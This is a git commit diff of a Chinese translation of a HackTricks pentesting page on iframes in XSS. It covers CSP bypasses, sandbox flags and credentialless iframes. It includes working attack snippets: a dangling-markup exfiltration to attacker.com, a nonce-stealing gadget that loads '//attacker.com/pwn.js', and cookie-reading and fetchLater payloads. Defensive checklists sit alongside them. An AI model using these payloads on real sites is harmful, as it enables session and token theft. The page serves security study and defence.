Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:35:10 +00:00
parent f0e436a3b4
commit 3613ab9fa7

View File

@ -4,11 +4,11 @@
## Iframes in XSS
三种方式来指示一个 iframe 页面内容:
3种方式来指示iframe页面的内容:
- 通过 `src` 指定一个 URL该 URL 可以是跨源或同源)
- 通过 `src` 使用 `data:` 协议指示内容
- 通过 `srcdoc` 指示内容
- 通过`src`指示一个URL该URL可以是跨源或同源)
- 通过`src`使用`data:`协议指示内容
- 通过`srcdoc`指示内容
**访问父变量和子变量**
```html
@ -45,7 +45,7 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML您会注意到所有脚本都会被执行因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量****只有 if2 和 if3被视为同)可以访问原始窗口中的 secret**。\
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML您会注意到所有脚本都会被执行因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量****只有 if2 和 if3被视为同)可以访问原始窗口中的 secret**。\
请注意 if4 被认为具有 `null` 来源。
### 带 CSP 的 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -61,7 +61,7 @@ alert(parent.secret)
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -76,7 +76,7 @@ id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
注意**之前的 CSP 仅允许执行内联脚本**。\
注意**之前的 CSP 仅允许执行内联脚本**。\
然而,**只有 `if1``if2` 脚本将被执行,但只有 `if1` 能够访问父级秘密**。
![](<../../images/image (372).png>)
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### 新的2023-2025CSP 绕过技术与 iframes
研究社区继续发现创造性的方法来利用 iframes 以击败限制性政策。以下是过去几年发布的最显著的技术:
* **悬挂标记 / 命名 iframe 数据外泄 (PortSwigger 2023)** 当一个应用程序反射 HTML 但强 CSP 阻止脚本执行时,您仍然可以通过注入一个 *悬挂* `<iframe name>` 属性来泄露敏感令牌。一旦部分标记被解析,运行在不同源的攻击者脚本导航框架到 `about:blank` 并读取 `window.name`,此时包含了直到下一个引号字符的所有内容(例如 CSRF 令牌)。由于没有 JavaScript 在受害者上下文中运行,攻击通常会避开 `script-src 'none'`。一个最小的 PoC 是:
```html
<!-- 在敏感 <script> 之前的注入点 -->
<iframe name="//attacker.com/?"> <!-- 属性故意留空 -->
````
```javascript
// attacker.com 框架
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 泄露的值
```
* **通过同源 iframe 窃取 nonce (2024)** CSP nonce 并未从 DOM 中移除;它们仅在 DevTools 中被隐藏。如果攻击者可以注入一个 *同源* iframe例如通过上传 HTML 到网站),子框架可以简单地查询 `document.querySelector('[nonce]').nonce` 并创建新的 `<script nonce>` 节点以满足政策,从而在 `strict-dynamic` 的情况下实现完全的 JavaScript 执行。以下小工具将标记注入升级为 XSS
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **表单操作劫持 (PortSwigger 2024)** 一个省略 `form-action` 指令的页面可以通过注入的 iframe 或内联 HTML 将其登录表单 *重新定向*,使密码管理器自动填充并提交凭据到外部域,即使存在 `script-src 'none'`。始终用 `form-action` 补充 `default-src`
**防御注意事项(快速检查清单)**
1. 始终发送 *所有* 控制次级上下文的 CSP 指令(`form-action``frame-src``child-src``object-src` 等)。
2. 不要依赖 nonce 是秘密的——使用 `strict-dynamic` **并且** 消除注入点。
3. 当您必须嵌入不受信任的文档时,**非常小心** 使用 `sandbox="allow-scripts allow-same-origin"`(如果您只需要脚本执行隔离,则不使用 `allow-same-origin`)。
4. 考虑深度防御 COOP+COEP 部署;新的 `<iframe credentialless>` 属性(§ 下文)让您可以在不破坏第三方嵌入的情况下做到这一点。
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -117,31 +153,39 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
```
### Iframe sandbox
iframe 内的内容可以通过使用 `sandbox` 属性受到额外的限制。默认情况下,此属性不适用,这意味着没有限制。
iframe中的内容可以通过使用`sandbox`属性受到额外限制。默认情况下,此属性不被应用,这意味着没有限制。
当使用时,`sandbox` 属性施加了几个限制:
当使用时,`sandbox`属性施加了几个限制:
- 内容被视为来自一个独特的源。
- 任何提交表单的尝试都被阻止。
- 禁止执行脚本。
- 禁用对某些 API 的访问。
- 禁用对某些API的访问。
- 防止链接与其他浏览上下文交互。
- 不允许通过 `<embed>``<object>``<applet>` 或类似标签使用插件。
- 不允许通过`<embed>``<object>``<applet>`或类似标签使用插件。
- 防止内容自身导航到其顶级浏览上下文。
- 自动触发的功能,如视频播放或表单控件的自动聚焦,被阻止。
属性的值可以留空(`sandbox=""`)以应用上述所有限制。或者,可以设置为一个以空格分隔的特定值列表,以使 iframe 免于某些限制。
提示:现代浏览器支持细粒度标志,如`allow-scripts``allow-same-origin``allow-top-navigation-by-user-activation``allow-downloads-without-user-activation`等。将它们组合以仅授予嵌入应用所需的最低能力。
属性的值可以留空(`sandbox=""`以应用上述所有限制。或者可以设置为一个以空格分隔的特定值列表以使iframe免于某些限制。
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的iframe 中的 `credentialless` 标志用于在不发送凭据的请求下加载页面,同时保持加载页面在 iframe 中的同源策略 (SOP)。
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的iframe 中的 `credentialless` 标志用于在不发送凭据的请求的情况下加载页面,同时保持 iframe 中加载页面的同源策略 (SOP)。
这允许 iframe 访问来自同一 SOP 中在父页面加载的另一个 iframe 的敏感信息:
**Chrome 110 (2023年2月) 起,该功能默认启用**,并且该规范正在以 *anonymous iframe* 的名称在各个浏览器中标准化。MDN 将其描述为:“一种机制,用于在全新的、短暂的存储分区中加载第三方 iframe以便不与真实来源共享任何 cookies、localStorage 或 IndexedDB”。对攻击者和防御者的影响
* 不同的 credentialless iframes 中的脚本 **仍然共享相同的顶级来源**,并可以通过 DOM 自由交互,使多 iframe 自我 XSS 攻击成为可能(见下面的 PoC
* 由于网络是 **去凭据化的**iframe 内的任何请求实际上表现为未认证会话 CSRF 保护的端点通常会失败,但通过 DOM 泄露的公共页面仍在范围内。
* 从 credentialless iframe 生成的弹出窗口获得隐式的 `rel="noopener"`,破坏了一些 OAuth 流程。
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- 利用示例Self-XSS + CSRF
@ -181,7 +225,7 @@ let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes 在 SOP 中
## Iframes in SOP
检查以下页面:
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## References
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}